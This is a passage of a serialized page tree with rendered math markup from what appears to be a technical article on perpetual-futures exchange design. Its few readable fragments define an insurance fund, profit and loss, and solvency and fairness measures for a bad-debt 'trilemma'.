children":165405},{"className":165404},[24846],[165406],{"type":30,"value":24849},{"type":24,"tag":930,"props":165408,"children":165410},{"className":165409},[7152],[165411],{"type":24,"tag":930,"props":165412,"children":165414},{"className":165413,"style":165261},[7157],[165415],{"type":24,"tag":930,"props":165416,"children":165417},{},[],{"type":24,"tag":930,"props":165419,"children":165421},{"className":165420,"style":7245},[7206],[],{"type":24,"tag":930,"props":165423,"children":165425},{"className":165424},[24725],[165426],{"type":30,"value":163089},{"type":24,"tag":930,"props":165428,"children":165430},{"className":165429},[24818],[165431],{"type":30,"value":1010},{"type":24,"tag":930,"props":165433,"children":165435},{"className":165434},[7126],[165436],{"type":30,"value":7186},{"type":24,"tag":930,"props":165438,"children":165440},{"className":165439},[7126],[165441,165446],{"type":24,"tag":930,"props":165442,"children":165444},{"className":165443},[7126,24690],[165445],{"type":30,"value":54543},{"type":24,"tag":930,"props":165447,"children":165449},{"className":165448},[7142],[165450],{"type":24,"tag":930,"props":165451,"children":165453},{"className":165452},[7147,24743],[165454,165483],{"type":24,"tag":930,"props":165455,"children":165457},{"className":165456},[7152],[165458,165478],{"type":24,"tag":930,"props":165459,"children":165461},{"className":165460,"style":96641},[7157],[165462],{"type":24,"tag":930,"props":165463,"children":165464},{"style":96168},[165465,165469],{"type":24,"tag":930,"props":165466,"children":165468},{"className":165467,"style":7167},[7166],[],{"type":24,"tag":930,"props":165470,"children":165472},{"className":165471},[7172,7173,7174,7175],[165473],{"type":24,"tag":930,"props":165474,"children":165476},{"className":165475},[7126,24690,7175],[165477],{"type":30,"value":6854},{"type":24,"tag":930,"props":165479,"children":165481},{"className":165480},[24846],[165482],{"type":30,"value":24849},{"type":24,"tag":930,"props":165484,"children":165486},{"className":165485},[7152],[165487],{"type":24,"tag":930,"props":165488,"children":165490},{"className":165489,"style":96195},[7157],[165491],{"type":24,"tag":930,"props":165492,"children":165493},{},[],{"type":24,"tag":930,"props":165495,"children":165497},{"className":165496},[7238],[165498],{"type":30,"value":7241},{"type":24,"tag":930,"props":165500,"children":165502},{"className":165501,"style":7245},[7206],[],{"type":24,"tag":930,"props":165504,"children":165506},{"className":165505,"style":7245},[7206],[],{"type":24,"tag":930,"props":165508,"children":165510},{"className":165509},[7126],[165511],{"type":30,"value":1818},{"type":24,"tag":930,"props":165513,"children":165515},{"className":165514},[24840],[165516],{"type":30,"value":6249},{"type":24,"tag":930,"props":165518,"children":165519},{"style":164013},[165520,165524],{"type":24,"tag":930,"props":165521,"children":165523},{"className":165522,"style":163375},[7166],[],{"type":24,"tag":930,"props":165525,"children":165527},{"className":165526},[7126],[165528,165532,165536,165541,165545,165608,165612],{"type":24,"tag":930,"props":165529,"children":165531},{"className":165530},[7126],[],{"type":24,"tag":930,"props":165533,"children":165535},{"className":165534,"style":7304},[7206],[],{"type":24,"tag":930,"props":165537,"children":165539},{"className":165538},[7309],[165540],{"type":30,"value":1161},{"type":24,"tag":930,"props":165542,"children":165544},{"className":165543,"style":7304},[7206],[],{"type":24,"tag":930,"props":165546,"children":165548},{"className":165547},[24725,165199],[165549],{"type":24,"tag":930,"props":165550,"children":165552},{"className":165551},[7147,24743],[165553,165597],{"type":24,"tag":930,"props":165554,"children":165556},{"className":165555},[7152],[165557,165592],{"type":24,"tag":930,"props":165558,"children":165560},{"className":165559,"style":165212},[7157],[165561,165577],{"type":24,"tag":930,"props":165562,"children":165563},{"style":165216},[165564,165568],{"type":24,"tag":930,"props":165565,"children":165567},{"className":165566,"style":165221},[7166],[],{"type":24,"tag":930,"props":165569,"children":165571},{"className":165570},[7172,7173,7174,7175],[165572],{"type":24,"tag":930,"props":165573,"children":165575},{"className":165574},[7126,24690,7175],[165576],{"type":30,"value":6854},{"type":24,"tag":930,"props":165578,"children":165579},{"style":165234},[165580,165584],{"type":24,"tag":930,"props":165581,"children":165583},{"className":165582,"style":165221},[7166],[],{"type":24,"tag":930,"props":165585,"children":165586},{},[165587],{"type":24,"tag":930,"props":165588,"children":165590},{"className":165589},[24725,24730,165246],[165591],{"type":30,"value":111270},{"type":24,"tag":930,"props":165593,"children":165595},{"className":165594},[24846],[165596],{"type":30,"value":24849},{"type":24,"tag":930,"props":165598,"children":165600},{"className":165599},[7152],[165601],{"type":24,"tag":930,"props":165602,"children":165604},{"className":165603,"style":165261},[7157],[165605],{"type":24,"tag":930,"props":165606,"children":165607},{},[],{"type":24,"tag":930,"props":165609,"children":165611},{"className":165610,"style":7245},[7206],[],{"type":24,"tag":930,"props":165613,"children":165615},{"className":165614},[7126],[165616,165621],{"type":24,"tag":930,"props":165617,"children":165619},{"className":165618,"style":124755},[7126,24690],[165620],{"type":30,"value":52661},{"type":24,"tag":930,"props":165622,"children":165624},{"className":165623},[7142],[165625],{"type":24,"tag":930,"props":165626,"children":165628},{"className":165627},[7147,24743],[165629,165658],{"type":24,"tag":930,"props":165630,"children":165632},{"className":165631},[7152],[165633,165653],{"type":24,"tag":930,"props":165634,"children":165636},{"className":165635,"style":96641},[7157],[165637],{"type":24,"tag":930,"props":165638,"children":165639},{"style":163703},[165640,165644],{"type":24,"tag":930,"props":165641,"children":165643},{"className":165642,"style":7167},[7166],[],{"type":24,"tag":930,"props":165645,"children":165647},{"className":165646},[7172,7173,7174,7175],[165648],{"type":24,"tag":930,"props":165649,"children":165651},{"className":165650},[7126,24690,7175],[165652],{"type":30,"value":6854},{"type":24,"tag":930,"props":165654,"children":165656},{"className":165655},[24846],[165657],{"type":30,"value":24849},{"type":24,"tag":930,"props":165659,"children":165661},{"className":165660},[7152],[165662],{"type":24,"tag":930,"props":165663,"children":165665},{"className":165664,"style":96195},[7157],[165666],{"type":24,"tag":930,"props":165667,"children":165668},{},[],{"type":24,"tag":930,"props":165670,"children":165671},{"style":164084},[165672,165676],{"type":24,"tag":930,"props":165673,"children":165675},{"className":165674,"style":163375},[7166],[],{"type":24,"tag":930,"props":165677,"children":165679},{"className":165678},[7126],[165680,165684,165688,165693,165697,165702,165707,165764,165768,165773,165777,165782,165786,165791,165795,165852,165857,165861,165865,165870],{"type":24,"tag":930,"props":165681,"children":165683},{"className":165682},[7126],[],{"type":24,"tag":930,"props":165685,"children":165687},{"className":165686,"style":7304},[7206],[],{"type":24,"tag":930,"props":165689,"children":165691},{"className":165690},[7309],[165692],{"type":30,"value":1161},{"type":24,"tag":930,"props":165694,"children":165696},{"className":165695,"style":7304},[7206],[],{"type":24,"tag":930,"props":165698,"children":165700},{"className":165699},[24725],[165701],{"type":30,"value":163089},{"type":24,"tag":930,"props":165703,"children":165705},{"className":165704},[24818],[165706],{"type":30,"value":1010},{"type":24,"tag":930,"props":165708,"children":165710},{"className":165709},[7126],[165711,165716],{"type":24,"tag":930,"props":165712,"children":165714},{"className":165713,"style":96112},[7126,24690],[165715],{"type":30,"value":163962},{"type":24,"tag":930,"props":165717,"children":165719},{"className":165718},[7142],[165720],{"type":24,"tag":930,"props":165721,"children":165723},{"className":165722},[7147,24743],[165724,165753],{"type":24,"tag":930,"props":165725,"children":165727},{"className":165726},[7152],[165728,165748],{"type":24,"tag":930,"props":165729,"children":165731},{"className":165730,"style":145030},[7157],[165732],{"type":24,"tag":930,"props":165733,"children":165734},{"style":112474},[165735,165739],{"type":24,"tag":930,"props":165736,"children":165738},{"className":165737,"style":7167},[7166],[],{"type":24,"tag":930,"props":165740,"children":165742},{"className":165741},[7172,7173,7174,7175],[165743],{"type":24,"tag":930,"props":165744,"children":165746},{"className":165745,"style":24691},[7126,24690,7175],[165747],{"type":30,"value":9100},{"type":24,"tag":930,"props":165749,"children":165751},{"className":165750},[24846],[165752],{"type":30,"value":24849},{"type":24,"tag":930,"props":165754,"children":165756},{"className":165755},[7152],[165757],{"type":24,"tag":930,"props":165758,"children":165760},{"className":165759,"style":96195},[7157],[165761],{"type":24,"tag":930,"props":165762,"children":165763},{},[],{"type":24,"tag":930,"props":165765,"children":165767},{"className":165766,"style":7207},[7206],[],{"type":24,"tag":930,"props":165769,"children":165771},{"className":165770},[7212],[165772],{"type":30,"value":7186},{"type":24,"tag":930,"props":165774,"children":165776},{"className":165775,"style":7207},[7206],[],{"type":24,"tag":930,"props":165778,"children":165780},{"className":165779,"style":98132},[7126,24690],[165781],{"type":30,"value":98166},{"type":24,"tag":930,"props":165783,"children":165785},{"className":165784,"style":7207},[7206],[],{"type":24,"tag":930,"props":165787,"children":165789},{"className":165788},[7212],[165790],{"type":30,"value":7186},{"type":24,"tag":930,"props":165792,"children":165794},{"className":165793,"style":7207},[7206],[],{"type":24,"tag":930,"props":165796,"children":165798},{"className":165797},[7126],[165799,165804],{"type":24,"tag":930,"props":165800,"children":165802},{"className":165801,"style":96346},[7126,24690],[165803],{"type":30,"value":96349},{"type":24,"tag":930,"props":165805,"children":165807},{"className":165806},[7142],[165808],{"type":24,"tag":930,"props":165809,"children":165811},{"className":165810},[7147,24743],[165812,165841],{"type":24,"tag":930,"props":165813,"children":165815},{"className":165814},[7152],[165816,165836],{"type":24,"tag":930,"props":165817,"children":165819},{"className":165818,"style":145030},[7157],[165820],{"type":24,"tag":930,"props":165821,"children":165822},{"style":112904},[165823,165827],{"type":24,"tag":930,"props":165824,"children":165826},{"className":165825,"style":7167},[7166],[],{"type":24,"tag":930,"props":165828,"children":165830},{"className":165829},[7172,7173,7174,7175],[165831],{"type":24,"tag":930,"props":165832,"children":165834},{"className":165833,"style":24691},[7126,24690,7175],[165835],{"type":30,"value":9100},{"type":24,"tag":930,"props":165837,"children":165839},{"className":165838},[24846],[165840],{"type":30,"value":24849},{"type":24,"tag":930,"props":165842,"children":165844},{"className":165843},[7152],[165845],{"type":24,"tag":930,"props":165846,"children":165848},{"className":165847,"style":96195},[7157],[165849],{"type":24,"tag":930,"props":165850,"children":165851},{},[],{"type":24,"tag":930,"props":165853,"children":165855},{"className":165854},[7238],[165856],{"type":30,"value":7241},{"type":24,"tag":930,"props":165858,"children":165860},{"className":165859,"style":7245},[7206],[],{"type":24,"tag":930,"props":165862,"children":165864},{"className":165863,"style":7245},[7206],[],{"type":24,"tag":930,"props":165866,"children":165868},{"className":165867},[7126],[165869],{"type":30,"value":1818},{"type":24,"tag":930,"props":165871,"children":165873},{"className":165872},[24840],[165874],{"type":30,"value":6249},{"type":24,"tag":930,"props":165876,"children":165878},{"className":165877},[24846],[165879],{"type":30,"value":24849},{"type":24,"tag":930,"props":165881,"children":165883},{"className":165882},[7152],[165884],{"type":24,"tag":930,"props":165885,"children":165887},{"className":165886,"style":164165},[7157],[165888],{"type":24,"tag":930,"props":165889,"children":165890},{},[],{"type":24,"tag":33,"props":165892,"children":165893},{},[165894,165895,165972,165974,165999,166001,166078,166080,166157],{"type":30,"value":1010},{"type":24,"tag":156,"props":165896,"children":165898},{"className":165897},[7098,7099],[165899],{"type":24,"tag":930,"props":165900,"children":165902},{"className":165901},[7104],[165903],{"type":24,"tag":930,"props":165904,"children":165906},{"className":165905,"ariaHidden":7110},[7109],[165907],{"type":24,"tag":930,"props":165908,"children":165910},{"className":165909},[7115],[165911,165915],{"type":24,"tag":930,"props":165912,"children":165914},{"className":165913,"style":113472},[7120],[],{"type":24,"tag":930,"props":165916,"children":165918},{"className":165917},[7126],[165919,165924],{"type":24,"tag":930,"props":165920,"children":165922},{"className":165921,"style":24691},[7126,24690],[165923],{"type":30,"value":24694},{"type":24,"tag":930,"props":165925,"children":165927},{"className":165926},[7142],[165928],{"type":24,"tag":930,"props":165929,"children":165931},{"className":165930},[7147,24743],[165932,165961],{"type":24,"tag":930,"props":165933,"children":165935},{"className":165934},[7152],[165936,165956],{"type":24,"tag":930,"props":165937,"children":165939},{"className":165938,"style":111907},[7157],[165940],{"type":24,"tag":930,"props":165941,"children":165942},{"style":163408},[165943,165947],{"type":24,"tag":930,"props":165944,"children":165946},{"className":165945,"style":7167},[7166],[],{"type":24,"tag":930,"props":165948,"children":165950},{"className":165949},[7172,7173,7174,7175],[165951],{"type":24,"tag":930,"props":165952,"children":165954},{"className":165953},[7126,24690,7175],[165955],{"type":30,"value":59493},{"type":24,"tag":930,"props":165957,"children":165959},{"className":165958},[24846],[165960],{"type":30,"value":24849},{"type":24,"tag":930,"props":165962,"children":165964},{"className":165963},[7152],[165965],{"type":24,"tag":930,"props":165966,"children":165968},{"className":165967,"style":96195},[7157],[165969],{"type":24,"tag":930,"props":165970,"children":165971},{},[],{"type":30,"value":165973},": mark price from different sources; ",{"type":24,"tag":156,"props":165975,"children":165977},{"className":165976},[7098,7099],[165978],{"type":24,"tag":930,"props":165979,"children":165981},{"className":165980},[7104],[165982],{"type":24,"tag":930,"props":165983,"children":165985},{"className":165984,"ariaHidden":7110},[7109],[165986],{"type":24,"tag":930,"props":165987,"children":165989},{"className":165988},[7115],[165990,165994],{"type":24,"tag":930,"props":165991,"children":165993},{"className":165992,"style":24685},[7120],[],{"type":24,"tag":930,"props":165995,"children":165997},{"className":165996,"style":98132},[7126,24690],[165998],{"type":30,"value":98166},{"type":30,"value":166000},": insurance fund, roughly the 5M on testnet HL; ",{"type":24,"tag":156,"props":166002,"children":166004},{"className":166003},[7098,7099],[166005],{"type":24,"tag":930,"props":166006,"children":166008},{"className":166007},[7104],[166009],{"type":24,"tag":930,"props":166010,"children":166012},{"className":166011,"ariaHidden":7110},[7109],[166013],{"type":24,"tag":930,"props":166014,"children":166016},{"className":166015},[7115],[166017,166021],{"type":24,"tag":930,"props":166018,"children":166020},{"className":166019,"style":112445},[7120],[],{"type":24,"tag":930,"props":166022,"children":166024},{"className":166023},[7126],[166025,166030],{"type":24,"tag":930,"props":166026,"children":166028},{"className":166027,"style":96598},[7126,24690],[166029],{"type":30,"value":163546},{"type":24,"tag":930,"props":166031,"children":166033},{"className":166032},[7142],[166034],{"type":24,"tag":930,"props":166035,"children":166037},{"className":166036},[7147,24743],[166038,166067],{"type":24,"tag":930,"props":166039,"children":166041},{"className":166040},[7152],[166042,166062],{"type":24,"tag":930,"props":166043,"children":166045},{"className":166044,"style":96641},[7157],[166046],{"type":24,"tag":930,"props":166047,"children":166048},{"style":96645},[166049,166053],{"type":24,"tag":930,"props":166050,"children":166052},{"className":166051,"style":7167},[7166],[],{"type":24,"tag":930,"props":166054,"children":166056},{"className":166055},[7172,7173,7174,7175],[166057],{"type":24,"tag":930,"props":166058,"children":166060},{"className":166059},[7126,24690,7175],[166061],{"type":30,"value":6854},{"type":24,"tag":930,"props":166063,"children":166065},{"className":166064},[24846],[166066],{"type":30,"value":24849},{"type":24,"tag":930,"props":166068,"children":166070},{"className":166069},[7152],[166071],{"type":24,"tag":930,"props":166072,"children":166074},{"className":166073,"style":96195},[7157],[166075],{"type":24,"tag":930,"props":166076,"children":166077},{},[],{"type":30,"value":166079}," is PNL for longs, negated for shorts; ",{"type":24,"tag":156,"props":166081,"children":166083},{"className":166082},[7098,7099],[166084],{"type":24,"tag":930,"props":166085,"children":166087},{"className":166086},[7104],[166088],{"type":24,"tag":930,"props":166089,"children":166091},{"className":166090,"ariaHidden":7110},[7109],[166092],{"type":24,"tag":930,"props":166093,"children":166095},{"className":166094},[7115],[166096,166100],{"type":24,"tag":930,"props":166097,"children":166099},{"className":166098,"style":112445},[7120],[],{"type":24,"tag":930,"props":166101,"children":166103},{"className":166102},[7126],[166104,166109],{"type":24,"tag":930,"props":166105,"children":166107},{"className":166106,"style":124755},[7126,24690],[166108],{"type":30,"value":52661},{"type":24,"tag":930,"props":166110,"children":166112},{"className":166111},[7142],[166113],{"type":24,"tag":930,"props":166114,"children":166116},{"className":166115},[7147,24743],[166117,166146],{"type":24,"tag":930,"props":166118,"children":166120},{"className":166119},[7152],[166121,166141],{"type":24,"tag":930,"props":166122,"children":166124},{"className":166123,"style":96641},[7157],[166125],{"type":24,"tag":930,"props":166126,"children":166127},{"style":163703},[166128,166132],{"type":24,"tag":930,"props":166129,"children":166131},{"className":166130,"style":7167},[7166],[],{"type":24,"tag":930,"props":166133,"children":166135},{"className":166134},[7172,7173,7174,7175],[166136],{"type":24,"tag":930,"props":166137,"children":166139},{"className":166138},[7126,24690,7175],[166140],{"type":30,"value":6854},{"type":24,"tag":930,"props":166142,"children":166144},{"className":166143},[24846],[166145],{"type":30,"value":24849},{"type":24,"tag":930,"props":166147,"children":166149},{"className":166148},[7152],[166150],{"type":24,"tag":930,"props":166151,"children":166153},{"className":166152,"style":96195},[7157],[166154],{"type":24,"tag":930,"props":166155,"children":166156},{},[],{"type":30,"value":166158}," is the positive part of PNL.)",{"type":24,"tag":33,"props":166160,"children":166161},{},[166162],{"type":30,"value":166163},"And let's make the trilemma definitions concrete:",{"type":24,"tag":96,"props":166165,"children":166166},{},[166167,166641,167205],{"type":24,"tag":100,"props":166168,"children":166169},{},[166170,166174,166175,166429,166431,166482,166484,166587,166588,166639],{"type":24,"tag":6032,"props":166171,"children":166172},{},[166173],{"type":30,"value":163287},{"type":30,"value":35999},{"type":24,"tag":156,"props":166176,"children":166178},{"className":166177},[7098,7099],[166179],{"type":24,"tag":930,"props":166180,"children":166182},{"className":166181},[7104],[166183],{"type":24,"tag":930,"props":166184,"children":166186},{"className":166185,"ariaHidden":7110},[7109],[166187,166214],{"type":24,"tag":930,"props":166188,"children":166190},{"className":166189},[7115],[166191,166196,166201,166205,166210],{"type":24,"tag":930,"props":166192,"children":166195},{"className":166193,"style":166194},[7120],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":24,"tag":930,"props":166197,"children":166199},{"className":166198},[7126],[166200],{"type":30,"value":7129},{"type":24,"tag":930,"props":166202,"children":166204},{"className":166203,"style":7207},[7206],[],{"type":24,"tag":930,"props":166206,"children":166208},{"className":166207},[7212],[166209],{"type":30,"value":7186},{"type":24,"tag":930,"props":166211,"children":166213},{"className":166212,"style":7207},[7206],[],{"type":24,"tag":930,"props":166215,"children":166217},{"className":166216},[7115],[166218,166223],{"type":24,"tag":930,"props":166219,"children":166222},{"className":166220,"style":166221},[7120],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":24,"tag":930,"props":166224,"children":166226},{"className":166225},[7126],[166227,166231,166425],{"type":24,"tag":930,"props":166228,"children":166230},{"className":166229},[24818,115993],[],{"type":24,"tag":930,"props":166232,"children":166234},{"className":166233},[115998],[166235],{"type":24,"tag":930,"props":166236,"children":166238},{"className":166237},[7147,24743],[166239,166413],{"type":24,"tag":930,"props":166240,"children":166242},{"className":166241},[7152],[166243,166408],{"type":24,"tag":930,"props":166244,"children":166247},{"className":166245,"style":166246},[7157],"height:0.8884em;",[166248,166322,166333],{"type":24,"tag":930,"props":166249,"children":166250},{"style":116015},[166251,166255],{"type":24,"tag":930,"props":166252,"children":166254},{"className":166253,"style":114646},[7166],[],{"type":24,"tag":930,"props":166256,"children":166258},{"className":166257},[7172,7173,7174,7175],[166259],{"type":24,"tag":930,"props":166260,"children":166262},{"className":166261},[7126,7175],[166263],{"type":24,"tag":930,"props":166264,"children":166266},{"className":166265},[7126,7175],[166267,166272],{"type":24,"tag":930,"props":166268,"children":166270},{"className":166269,"style":96112},[7126,24690,7175],[166271],{"type":30,"value":163962},{"type":24,"tag":930,"props":166273,"children":166275},{"className":166274},[7142],[166276],{"type":24,"tag":930,"props":166277,"children":166279},{"className":166278},[7147,24743],[166280,166310],{"type":24,"tag":930,"props":166281,"children":166283},{"className":166282},[7152],[166284,166305],{"type":24,"tag":930,"props":166285,"children":166287},{"className":166286,"style":114807},[7157],[166288],{"type":24,"tag":930,"props":166289,"children":166291},{"style":166290},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[166292,166296],{"type":24,"tag":930,"props":166293,"children":166295},{"className":166294,"style":111335},[7166],[],{"type":24,"tag":930,"props":166297,"children":166299},{"className":166298},[7172,111340,111341,7175],[166300],{"type":24,"tag":930,"props":166301,"children":166303},{"className":166302,"style":24691},[7126,24690,7175],[166304],{"type":30,"value":9100},{"type":24,"tag":930,"props":166306,"children":166308},{"className":166307},[24846],[166309],{"type":30,"value":24849},{"type":24,"tag":930,"props":166311,"children":166313},{"className":166312},[7152],[166314],{"type":24,"tag":930,"props":166315,"children":166318},{"className":166316,"style":166317},[7157],"height:0.1433em;",[166319],{"type":24,"tag":930,"props":166320,"children":166321},{},[],{"type":24,"tag":930,"props":166323,"children":166324},{"style":116048},[166325,166329],{"type":24,"tag":930,"props":166326,"children":166328},{"className":166327,"style":114646},[7166],[],{"type":24,"tag":930,"props":166330,"children":166332},{"className":166331,"style":116058},[116057],[],{"type":24,"tag":930,"props":166334,"children":166336},{"style":166335},"top:-3.4101em;",[166337,166341],{"type":24,"tag":930,"props":166338,"children":166340},{"className":166339,"style":114646},[7166],[],{"type":24,"tag":930,"props":166342,"children":166344},{"className":166343},[7172,7173,7174,7175],[166345],{"type":24,"tag":930,"props":166346,"children":166348},{"className":166347},[7126,7175],[166349],{"type":24,"tag":930,"props":166350,"children":166352},{"className":166351},[7126,7175],[166353,166358],{"type":24,"tag":930,"props":166354,"children":166356},{"className":166355,"style":125252},[7126,24690,7175],[166357],{"type":30,"value":125255},{"type":24,"tag":930,"props":166359,"children":166361},{"className":166360},[7142],[166362],{"type":24,"tag":930,"props":166363,"children":166365},{"className":166364},[7147,24743],[166366,166397],{"type":24,"tag":930,"props":166367,"children":166369},{"className":166368},[7152],[166370,166392],{"type":24,"tag":930,"props":166371,"children":166374},{"className":166372,"style":166373},[7157],"height:0.2963em;",[166375],{"type":24,"tag":930,"props":166376,"children":166378},{"style":166377},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[166379,166383],{"type":24,"tag":930,"props":166380,"children":166382},{"className":166381,"style":111335},[7166],[],{"type":24,"tag":930,"props":166384,"children":166386},{"className":166385},[7172,111340,111341,7175],[166387],{"type":24,"tag":930,"props":166388,"children":166390},{"className":166389},[7126,24690,7175],[166391],{"type":30,"value":24831},{"type":24,"tag":930,"props":166393,"children":166395},{"className":166394},[24846],[166396],{"type":30,"value":24849},{"type":24,"tag":930,"props":166398,"children":166400},{"className":166399},[7152],[166401],{"type":24,"tag":930,"props":166402,"children":166404},{"className":166403,"style":111360},[7157],[166405],{"type":24,"tag":930,"props":166406,"children":166407},{},[],{"type":24,"tag":930,"props":166409,"children":166411},{"className":166410},[24846],[166412],{"type":30,"value":24849},{"type":24,"tag":930,"props":166414,"children":166416},{"className":166415},[7152],[166417],{"type":24,"tag":930,"props":166418,"children":166421},{"className":166419,"style":166420},[7157],"height:0.4453em;",[166422],{"type":24,"tag":930,"props":166423,"children":166424},{},[],{"type":24,"tag":930,"props":166426,"children":166428},{"className":166427},[24840,115993],[],{"type":30,"value":166430}," — how much of the total bad debt was actually covered. ",{"type":24,"tag":156,"props":166432,"children":166434},{"className":166433},[7098,7099],[166435],{"type":24,"tag":930,"props":166436,"children":166438},{"className":166437},[7104],[166439],{"type":24,"tag":930,"props":166440,"children":166442},{"className":166441,"ariaHidden":7110},[7109],[166443,166469],{"type":24,"tag":930,"props":166444,"children":166446},{"className":166445},[7115],[166447,166451,166456,166460,166465],{"type":24,"tag":930,"props":166448,"children":166450},{"className":166449,"style":24685},[7120],[],{"type":24,"tag":930,"props":166452,"children":166454},{"className":166453,"style":25148},[7126,24690],[166455],{"type":30,"value":25151},{"type":24,"tag":930,"props":166457,"children":166459},{"className":166458,"style":7304},[7206],[],{"type":24,"tag":930,"props":166461,"children":166463},{"className":166462},[7309],[166464],{"type":30,"value":1161},{"type":24,"tag":930,"props":166466,"children":166468},{"className":166467,"style":7304},[7206],[],{"type":24,"tag":930,"props":166470,"children":166472},{"className":166471},[7115],[166473,166477],{"type":24,"tag":930,"props":166474,"children":166476},{"className":166475,"style":97143},[7120],[],{"type":24,"tag":930,"props":166478,"children":166480},{"className":166479},[7126],[166481],{"type":30,"value":7129},{"type":30,"value":166483}," means fully solvent (",{"type":24,"tag":156,"props":166485,"children":166487},{"className":166486},[7098,7099],[166488],{"type":24,"tag":930,"props":166489,"children":166491},{"className":166490},[7104],[166492],{"type":24,"tag":930,"props":166493,"children":166495},{"className":166494,"ariaHidden":7110},[7109],[166496,166574],{"type":24,"tag":930,"props":166497,"children":166499},{"className":166498},[7115],[166500,166504,166561,166565,166570],{"type":24,"tag":930,"props":166501,"children":166503},{"className":166502,"style":113472},[7120],[],{"type":24,"tag":930,"props":166505,"children":166507},{"className":166506},[7126],[166508,166513],{"type":24,"tag":930,"props":166509,"children":166511},{"className":166510,"style":125252},[7126,24690],[166512],{"type":30,"value":125255},{"type":24,"tag":930,"props":166514,"children":166516},{"className":166515},[7142],[166517],{"type":24,"tag":930,"props":166518,"children":166520},{"className":166519},[7147,24743],[166521,166550],{"type":24,"tag":930,"props":166522,"children":166524},{"className":166523},[7152],[166525,166545],{"type":24,"tag":930,"props":166526,"children":166528},{"className":166527,"style":164118},[7157],[166529],{"type":24,"tag":930,"props":166530,"children":166531},{"style":164122},[166532,166536],{"type":24,"tag":930,"props":166533,"children":166535},{"className":166534,"style":7167},[7166],[],{"type":24,"tag":930,"props":166537,"children":166539},{"className":166538},[7172,7173,7174,7175],[166540],{"type":24,"tag":930,"props":166541,"children":166543},{"className":166542},[7126,24690,7175],[166544],{"type":30,"value":24831},{"type":24,"tag":930,"props":166546,"children":166548},{"className":166547},[24846],[166549],{"type":30,"value":24849},{"type":24,"tag":930,"props":166551,"children":166553},{"className":166552},[7152],[166554],{"type":24,"tag":930,"props":166555,"children":166557},{"className":166556,"style":96195},[7157],[166558],{"type":24,"tag":930,"props":166559,"children":166560},{},[],{"type":24,"tag":930,"props":166562,"children":166564},{"className":166563,"style":7304},[7206],[],{"type":24,"tag":930,"props":166566,"children":166568},{"className":166567},[7309],[166569],{"type":30,"value":1161},{"type":24,"tag":930,"props":166571,"children":166573},{"className":166572,"style":7304},[7206],[],{"type":24,"tag":930,"props":166575,"children":166577},{"className":166576},[7115],[166578,166582],{"type":24,"tag":930,"props":166579,"children":166581},{"className":166580,"style":97143},[7120],[],{"type":24,"tag":930,"props":166583,"children":166585},{"className":166584},[7126],[166586],{"type":30,"value":1818},{"type":30,"value":3199},{"type":24,"tag":156,"props":166589,"children":166591},{"className":166590},[7098,7099],[166592],{"type":24,"tag":930,"props":166593,"children":166595},{"className":166594},[7104],[166596],{"type":24,"tag":930,"props":166597,"children":166599},{"className":166598,"ariaHidden":7110},[7109],[166600,166626],{"type":24,"tag":930,"props":166601,"children":166603},{"className":166602},[7115],[166604,166608,166613,166617,166622],{"type":24,"tag":930,"props":166605,"children":166607},{"className":166606,"style":24685},[7120],[],{"type":24,"tag":930,"props":166609,"children":166611},{"className":166610,"style":25148},[7126,24690],[166612],{"type":30,"value":25151},{"type":24,"tag":930,"props":166614,"children":166616},{"className":166615,"style":7304},[7206],[],{"type":24,"tag":930,"props":166618,"children":166620},{"className":166619},[7309],[166621],{"type":30,"value":1161},{"type":24,"tag":930,"props":166623,"children":166625},{"className":166624,"style":7304},[7206],[],{"type":24,"tag":930,"props":166627,"children":166629},{"className":166628},[7115],[166630,166634],{"type":24,"tag":930,"props":166631,"children":166633},{"className":166632,"style":97143},[7120],[],{"type":24,"tag":930,"props":166635,"children":166637},{"className":166636},[7126],[166638],{"type":30,"value":1818},{"type":30,"value":166640}," means nothing was recovered.",{"type":24,"tag":100,"props":166642,"children":166643},{},[166644,166648,166649,166772,166773,166990,166992,167096,167098,167149,167151,167203],{"type":24,"tag":6032,"props":166645,"children":166646},{},[166647],{"type":30,"value":163297},{"type":30,"value":35999},{"type":24,"tag":156,"props":166650,"children":166652},{"className":166651},[7098,7099],[166653],{"type":24,"tag":930,"props":166654,"children":166656},{"className":166655},[7104],[166657],{"type":24,"tag":930,"props":166658,"children":166660},{"className":166659,"ariaHidden":7110},[7109],[166661,166687],{"type":24,"tag":930,"props":166662,"children":166664},{"className":166663},[7115],[166665,166669,166674,166678,166683],{"type":24,"tag":930,"props":166666,"children":166668},{"className":166667,"style":166194},[7120],[],{"type":24,"tag":930,"props":166670,"children":166672},{"className":166671},[7126],[166673],{"type":30,"value":7129},{"type":24,"tag":930,"props":166675,"children":166677},{"className":166676,"style":7207},[7206],[],{"type":24,"tag":930,"props":166679,"children":166681},{"className":166680},[7212],[166682],{"type":30,"value":7186},{"type":24,"tag":930,"props":166684,"children":166686},{"className":166685,"style":7207},[7206],[],{"type":24,"tag":930,"props":166688,"children":166690},{"className":166689},[7115],[166691,166695,166705,166710,166767],{"type":24,"tag":930,"props":166692,"children":166694},{"className":166693,"style":7227},[7120],[],{"type":24,"tag":930,"props":166696,"children":166698},{"className":166697},[7126,30],[166699],{"type":24,"tag":930,"props":166700,"children":166702},{"className":166701},[7126],[166703],{"type":30,"value":166704},"Gini",{"type":24,"tag":930,"props":166706,"children":166708},{"className":166707},[24818],[166709],{"type":30,"value":1010},{"type":24,"tag":930,"props":166711,"children":166713},{"className":166712},[7126],[166714,166719],{"type":24,"tag":930,"props":166715,"children":166717},{"className":166716},[7126,24690],[166718],{"type":30,"value":87415},{"type":24,"tag":930,"props":166720,"children":166722},{"className":166721},[7142],[166723],{"type":24,"tag":930,"props":166724,"children":166726},{"className":166725},[7147,24743],[166727,166756],{"type":24,"tag":930,"props":166728,"children":166730},{"className":166729},[7152],[166731,166751],{"type":24,"tag":930,"props":166732,"children":166734},{"className":166733,"style":96641},[7157],[166735],{"type":24,"tag":930,"props":166736,"children":166737},{"style":96168},[166738,166742],{"type":24,"tag":930,"props":166739,"children":166741},{"className":166740,"style":7167},[7166],[],{"type":24,"tag":930,"props":166743,"children":166745},{"className":166744},[7172,7173,7174,7175],[166746],{"type":24,"tag":930,"props":166747,"children":166749},{"className":166748},[7126,24690,7175],[166750],{"type":30,"value":6854},{"type":24,"tag":930,"props":166752,"children":166754},{"className":166753},[24846],[166755],{"type":30,"value":24849},{"type":24,"tag":930,"props":166757,"children":166759},{"className":166758},[7152],[166760],{"t